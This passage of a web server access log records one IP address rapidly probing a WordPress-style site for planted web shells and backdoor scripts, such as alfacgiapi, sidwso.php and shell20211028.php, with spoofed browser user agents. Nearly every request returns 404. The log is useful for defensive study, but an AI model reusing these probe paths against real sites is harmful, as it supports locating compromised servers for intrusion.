Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:30 +0300] "GET /wp-content/content.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:30 +0300] "GET /wp-includes/SimplePie/gzdecode.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:30 +0300] "GET /wp-includes/wp-includes/atomlib.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:30 +0300] "GET /update/gely.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:30 +0300] "GET /simple.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.42.181 - - [17/Jul/2025:16:40:30 +0300] "GET /images/wp-login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:31 +0300] "GET /web.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.42.181 - - [17/Jul/2025:16:40:31 +0300] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:31 +0300] "GET /wp-admin/css/colors/content.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.42.181 - - [17/Jul/2025:16:40:31 +0300] "GET /wp-includes/js/plupload/wp-login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:31 +0300] "GET /assets/images/admin.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:31 +0300] "GET /wp-uploads-config.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:31 +0300] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:31 +0300] "GET /wp-admin/css/colors/coffee/admin.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:32 +0300] "GET /wp-admin/images/plugins.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.42.181 - - [17/Jul/2025:16:40:32 +0300] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:32 +0300] "GET /wp-admin/user/file.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:32 +0300] "GET /chosen.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:32 +0300] "GET /wp-includes/block-patterns/themes.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:32 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:32 +0300] "GET /wp-includes/blocks/site-title/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.42.181 - - [17/Jul/2025:16:40:32 +0300] "GET /wp-conflg.php?p= HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.42.181 - - [17/Jul/2025:16:40:33 +0300] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:33 +0300] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:33 +0300] "GET /upload.php?mr=exe3/themes.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.42.181 - - [17/Jul/2025:16:40:33 +0300] "GET /wp-includes/wp-includes/admin-bar.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:33 +0300] "GET /cgi-bin/wp-login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:33 +0300] "GET /about.php?525 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:33 +0300] "GET /indeex.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.42.181 - - [17/Jul/2025:16:40:33 +0300] "GET /as.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:34 +0300] "GET /dropdown.php?p= HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:34 +0300] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:34 +0300] "GET /wp-admin/images/moon.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:34 +0300] "GET /wp-includes/customize/plugins.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:34 +0300] "GET /admin.php?p= HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:34 +0300] "GET /wp-content/admin.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:34 +0300] "GET /buy.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.42.181 - - [17/Jul/2025:16:40:35 +0300] "GET /bs.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:35 +0300] "GET /wp-admin/network/plugins.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.42.181 - - [17/Jul/2025:16:40:35 +0300] "GET /credits.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:35 +0300] "GET /edit-comments.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:35 +0300] "GET /checkbox.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:35 +0300] "GET /export.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:35 +0300] "GET /input.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.42.181 - - [17/Jul/2025:16:40:35 +0300] "GET /load-scripts.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:35 +0300] "GET /load-styles.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:36 +0300] "GET /options-discussion.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:40:36 +0300] "GET /options-general.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:36 +0300] "GET /options-permalink.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:36 +0300] "GET /options-privacy.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:36 +0300] "GET /options-reading.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:36 +0300] "GET /options-writing.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.42.181 - - [17/Jul/2025:16:40:36 +0300] "GET /post-new.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:37 +0300] "GET /privacy.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.42.181 - - [17/Jul/2025:16:40:37 +0300] "GET /profile.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:37 +0300] "GET /site-health.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:37 +0300] "GET /tools.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.42.181 - - [17/Jul/2025:16:40:37 +0300] "GET /update-core.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.42.181 - - [17/Jul/2025:16:40:37 +0300] "GET /user-edit.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:37 +0300] "GET /user-new.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:37 +0300] "GET /wp-cron.php?ac=3/wp-by-login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:37 +0300] "GET /bar.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:38 +0300] "GET /samll.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:38 +0300] "GET /webdb.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:38 +0300] "GET /100.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:38 +0300] "GET /plugin-install.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:40:38 +0300] "GET /km.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:38 +0300] "GET /LA.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.42.181 - - [17/Jul/2025:16:40:38 +0300] "GET /wp-good.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:38 +0300] "GET /wp-ldd.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.42.181 - - [17/Jul/2025:16:40:39 +0300] "GET /sgd.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:39 +0300] "GET /nf_tracking.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:39 +0300] "GET /wzy.php?action=door123 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:39 +0300] "GET /wp-admin/images/Mhbgf.php/wp-content/themes/travelscape/json.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:39 +0300] "GET /ioxi002.PhP7 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:40:39 +0300] "GET /chosen.php?p=\\u001b[0m HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:39 +0300] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:40 +0300] "GET /wp-signup.php?FoX=sQFLZ HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:40 +0300] "GET /dropdown.php%5Cu001b%5B0m HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:40 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.42.181 - - [17/Jul/2025:16:40:40 +0300] "GET /wp-content/themes/hariko/lib.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:40 +0300] "GET /admin.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.42.181 - - [17/Jul/2025:16:40:40 +0300] "GET /wp-content/themes/hariko/lib.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:40 +0300] "GET /class.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:40 +0300] "GET /wp-content/plugins/classic-editor/wp-login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.42.181 - - [17/Jul/2025:16:40:40 +0300] "GET /Njima.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:41 +0300] "GET /ynz.PhP7 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:41 +0300] "GET /index.php?3x=3x HTTP/1.1" 200 51631 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.42.181 - - [17/Jul/2025:16:40:41 +0300] "GET /wp-admin/network/class.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:41 +0300] "GET /.tmb/wp-login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.42.181 - - [17/Jul/2025:16:40:41 +0300] "GET /wp-content/themes/pridmag/mar.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:41 +0300] "GET /FroggBaba.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:42 +0300] "GET /admin.php%5Cu001b%5B0m HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:42 +0300] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:42 +0300] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.42.181 - - [17/Jul/2025:16:40:42 +0300] "GET /defaults.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:42 +0300] "GET /wp-includes/install.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:40:42 +0300] "GET /sts.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.42.181 - - [17/Jul/2025:16:40:42 +0300] "GET /wp-admin/network/ayk.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:42 +0300] "GET /wp-admin/maint/users.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:42 +0300] "GET /wp-content/install.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:43 +0300] "GET /wp-content/wp-cron.php?ac=3 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:43 +0300] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:43 +0300] "GET /st.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:43 +0300] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:43 +0300] "GET /about.php%5Cu001b%5B0m HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:43 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:43 +0300] "GET /GA13.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:44 +0300] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.42.181 - - [17/Jul/2025:16:40:44 +0300] "GET /wp-content/shell20211028.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.42.181 - - [17/Jul/2025:16:40:44 +0300] "GET /wp-content/tmpls.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:44 +0300] "GET /modules/karakaroa/wp-login.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:44 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:44 +0300] "GET /about.php?p= HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:40:44 +0300] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.42.181 - - [17/Jul/2025:16:40:44 +0300] "GET /crop.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.42.181 - - [17/Jul/2025:16:40:45 +0300] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 